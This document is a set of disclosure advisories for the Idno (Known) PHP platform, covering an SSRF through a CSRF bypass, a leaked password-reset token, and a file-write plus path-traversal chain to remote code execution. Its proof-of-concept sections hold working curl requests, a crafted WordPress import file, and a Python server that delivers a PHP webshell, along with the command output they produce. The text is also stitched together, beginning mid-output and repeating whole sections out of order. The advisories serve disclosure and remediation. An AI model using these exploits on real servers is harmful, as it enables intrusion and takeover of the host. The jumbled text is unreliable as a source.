    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:

• Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

• Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

• Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

• Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.

Summary

A Critical Broken Authentication vulnerability exists in Known 1.6.2. The application leaks the password reset token within a hidden HTML input field on the password reset page. This allows any unauthenticated attacker to retrieve the reset token for any user by simply querying the user's email, leading to full Account Takeover (ATO) without requiring access to the victim's email inbox.

Details

The vulnerability occurs within the password reset flow. When a reset is requested, the application generates a verification code. However, the subsequent reset page (/account/password/reset/) incorrectly reflects this code back to the client in the HTML source code.

Specifically, the sensitive token is embedded in:

Because this page is accessible via a GET request using the victim's email as a parameter, an attacker can programmatically extract the token.

PoC

1. The attacker asks for a password reset for the victim

2. The attacker makes the following curl command on the terminal using the victim's email, and is able to get the code that was sent as an hidden field in the HTML.

3. With this code, the attacker is able to use it in order to reset the victim password.

4. The attacker is able to login with the new password.

Impact

• An attacker can compromise any account on the platform, including administrative accounts, resulting in total loss of Confidentiality, Integrity, and Availability.

Affected Versions: Tested on current dev branch (build fingerprint 505[...]7bd86)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)

Summary

Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.

Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)

Location

Idno/Core/Migration.php — importImagesFromBodyHTML()

Required Privilege

Web application admin (any user with the admin flag set in the database, accessible via the Idno admin UI).

Description

When a web application admin imports a WordPress eXtended RSS (WXR) XML file via POST /admin/import/, the application processes <img> tags in post body content and attempts to re-host images locally. The functionimportImagesFromBodyHTML() fetches each image URL using fopen() and writes the response body to a temp file whose name is derived from the URL.

The filename is constructed as:

$name = md5($src);
$newname = $dir . $name . basename($src);

Where $src is the full image URL from the XML and basename($src) is the filename component of that URL. Because basename() is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make basename() return any filename — including one ending in .tpl.php.

The URL filter is:

if (substr_count($src, $src_url)) {

Where $src_url is the hardcoded string 'wordpress.com'. This check uses substr_count rather than comparing the URL's hostname, so it passes for any URL that contains the string wordpress.com anywhere — including in a path component such as http://attacker.com/wordpress.com/shell.tpl.php.

The file write itself is:

if (@file_put_contents($newname, fopen($src, 'r'))) {

fopen($src, 'r') opens the attacker URL as a stream. file_put_contents reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing file_put_contents to block while the file sits on disk with its full content. The file is only deleted after file_put_contents returns:

if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
    $newsrc = ...;
    @unlink($newname);  // only runs after file_put_contents returns
}

By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.

The import endpoint itself adds an additional timing buffer:

// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...);      // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10);                // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);

The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.

The resulting file is written to PHP's temp directory (typically /tmp from the PHP process's perspective, which on systemd-managed Apache is a private mount at /tmp/systemd-private-{id}-apache2.service-{id}/tmp/). The filename is predictable: md5($full_url) . basename($url).

Prerequisites

• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• allow_url_fopen must be enabled in PHP (required for fopen($url, 'r') on remote URLs — this is the PHP default)

Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)

Location

Idno/Pages/Search/User.php — getContent() Idno/Core/Bonita/Templates.php — draw()

Required Privilege

Any authenticated user (gatekeeper() only checks isLoggedIn()).

Description

The user search endpoint accepts a template GET parameter that is passed without sanitization to the template rendering engine:

// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
$results['rendered'] .= $t->__(['user' => $user])->draw($template);

The draw() method in Idno/Core/Bonita/Templates.php applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:

function draw($templateName, $returnBlank = true)
{
    $templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);

This regex does not strip ../ and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:

$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
    $fn = (function ($path, $vars, $t) {
        foreach ($vars as $k => $v) { ${$k} = $v; }
        ob_start();
        include $path;
        return ob_get_clean();
    });
    return $fn($path, $this->vars, $this);
}

Because $templateName is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as ../../../../../../tmp/{filename} to include any file reachable by the PHP process that has a .tpl.php extension.

Template Type Behaviour

The new DefaultTemplate() constructor calls detectTemplateType(), which calls detectDevice() based on the User-Agent header. For standard desktop browsers this returns 'default'. The _t query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed $t instance — and therefore has no effect on the include path used here. The template type component of the path is always 'default' for this endpoint under normal conditions.

The full resolved include path for a desktop browser with basepath = /var/www/html/idno is therefore:

/var/www/html/idno/templates/default/{template}.tpl.php

Supplying template=../../../../../../tmp/{filename} resolves to:

/tmp/{filename}.tpl.php

Because PHP's $_GET superglobal is accessible from all scopes including inside included files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.

Chained Attack Flow

1. Attacker controls a web server serving a PHP webshell file at a URL containing wordpress.com in the path, with filename ending in .tpl.php.

2. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.

3. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.

4. importImagesFromBodyHTML is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.

5. file_put_contents writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.

6. While the connection is held open, any authenticated user sends:

   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
   

7. draw() resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.

8. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.

9. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

Proof of Concept

1. Create a WXR file with the following content

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>

2. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.

import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()

5. Import WXR from http://idno-address/admin/import/ using the wordpress option.

6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.

7. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content

<?php system($_GET[0]); ?>

8. Make this request as any authenticated user

curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"

9. Observe that the respone will have the command executed in the rendered field

{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

Impact

• Confidentiality: Full read access to files accessible by the web server user
• Integrity: Arbitrary command execution as the web server user
• Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

Root Causes

| Location | Issue | |---|---| | Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction | | Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path | | Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation | | Pages/Search/User.php | template parameter passed to draw() without sanitization | | Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

Recommended Fixes

1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.

2. Validate the extension of files written by importImagesFromBodyHTML against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.

3. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.

4. Use tempnam() for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:

• Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

• Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

• Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

• Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.

Summary

A Critical Broken Authentication vulnerability exists in Known 1.6.2. The application leaks the password reset token within a hidden HTML input field on the password reset page. This allows any unauthenticated attacker to retrieve the reset token for any user by simply querying the user's email, leading to full Account Takeover (ATO) without requiring access to the victim's email inbox.

Details

The vulnerability occurs within the password reset flow. When a reset is requested, the application generates a verification code. However, the subsequent reset page (/account/password/reset/) incorrectly reflects this code back to the client in the HTML source code.

Specifically, the sensitive token is embedded in:

Because this page is accessible via a GET request using the victim's email as a parameter, an attacker can programmatically extract the token.

PoC

1. The attacker asks for a password reset for the victim

2. The attacker makes the following curl command on the terminal using the victim's email, and is able to get the code that was sent as an hidden field in the HTML.

3. With this code, the attacker is able to use it in order to reset the victim password.

4. The attacker is able to login with the new password.

Impact

• An attacker can compromise any account on the platform, including administrative accounts, resulting in total loss of Confidentiality, Integrity, and Availability.

Affected Versions: Tested on current dev branch (build fingerprint 505[...]7bd86)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)

Summary

Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.

Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)

Location

Idno/Core/Migration.php — importImagesFromBodyHTML()

Required Privilege

Web application admin (any user with the admin flag set in the database, accessible via the Idno admin UI).

Description

When a web application admin imports a WordPress eXtended RSS (WXR) XML file via POST /admin/import/, the application processes <img> tags in post body content and attempts to re-host images locally. The functionimportImagesFromBodyHTML() fetches each image URL using fopen() and writes the response body to a temp file whose name is derived from the URL.

The filename is constructed as:

$name = md5($src);
$newname = $dir . $name . basename($src);

Where $src is the full image URL from the XML and basename($src) is the filename component of that URL. Because basename() is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make basename() return any filename — including one ending in .tpl.php.

The URL filter is:

if (substr_count($src, $src_url)) {

Where $src_url is the hardcoded string 'wordpress.com'. This check uses substr_count rather than comparing the URL's hostname, so it passes for any URL that contains the string wordpress.com anywhere — including in a path component such as http://attacker.com/wordpress.com/shell.tpl.php.

The file write itself is:

if (@file_put_contents($newname, fopen($src, 'r'))) {

fopen($src, 'r') opens the attacker URL as a stream. file_put_contents reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing file_put_contents to block while the file sits on disk with its full content. The file is only deleted after file_put_contents returns:

if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
    $newsrc = ...;
    @unlink($newname);  // only runs after file_put_contents returns
}

By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.

The import endpoint itself adds an additional timing buffer:

// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...);      // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10);                // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);

The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.

The resulting file is written to PHP's temp directory (typically /tmp from the PHP process's perspective, which on systemd-managed Apache is a private mount at /tmp/systemd-private-{id}-apache2.service-{id}/tmp/). The filename is predictable: md5($full_url) . basename($url).

Prerequisites

• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• allow_url_fopen must be enabled in PHP (required for fopen($url, 'r') on remote URLs — this is the PHP default)

Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)

Location

Idno/Pages/Search/User.php — getContent() Idno/Core/Bonita/Templates.php — draw()

Required Privilege

Any authenticated user (gatekeeper() only checks isLoggedIn()).

Description

The user search endpoint accepts a template GET parameter that is passed without sanitization to the template rendering engine:

// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
$results['rendered'] .= $t->__(['user' => $user])->draw($template);

The draw() method in Idno/Core/Bonita/Templates.php applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:

function draw($templateName, $returnBlank = true)
{
    $templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);

This regex does not strip ../ and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:

$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
    $fn = (function ($path, $vars, $t) {
        foreach ($vars as $k => $v) { ${$k} = $v; }
        ob_start();
        include $path;
        return ob_get_clean();
    });
    return $fn($path, $this->vars, $this);
}

Because $templateName is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as ../../../../../../tmp/{filename} to include any file reachable by the PHP process that has a .tpl.php extension.

Template Type Behaviour

The new DefaultTemplate() constructor calls detectTemplateType(), which calls detectDevice() based on the User-Agent header. For standard desktop browsers this returns 'default'. The _t query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed $t instance — and therefore has no effect on the include path used here. The template type component of the path is always 'default' for this endpoint under normal conditions.

The full resolved include path for a desktop browser with basepath = /var/www/html/idno is therefore:

/var/www/html/idno/templates/default/{template}.tpl.php

Supplying template=../../../../../../tmp/{filename} resolves to:

/tmp/{filename}.tpl.php

Because PHP's $_GET superglobal is accessible from all scopes including inside included files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.

Chained Attack Flow

1. Attacker controls a web server serving a PHP webshell file at a URL containing wordpress.com in the path, with filename ending in .tpl.php.

2. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.

3. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.

4. importImagesFromBodyHTML is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.

5. file_put_contents writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.

6. While the connection is held open, any authenticated user sends:

   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
   

7. draw() resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.

8. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.

9. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

Proof of Concept

1. Create a WXR file with the following content

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>

2. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.

import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()

5. Import WXR from http://idno-address/admin/import/ using the wordpress option.

6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.

7. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content

<?php system($_GET[0]); ?>

8. Make this request as any authenticated user

curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"

9. Observe that the respone will have the command executed in the rendered field

{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

Impact

• Confidentiality: Full read access to files accessible by the web server user
• Integrity: Arbitrary command execution as the web server user
• Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

Root Causes

| Location | Issue | |---|---| | Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction | | Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path | | Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation | | Pages/Search/User.php | template parameter passed to draw() without sanitization | | Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

Recommended Fixes

1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.

2. Validate the extension of files written by importImagesFromBodyHTML against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.

3. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.

4. Use tempnam() for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
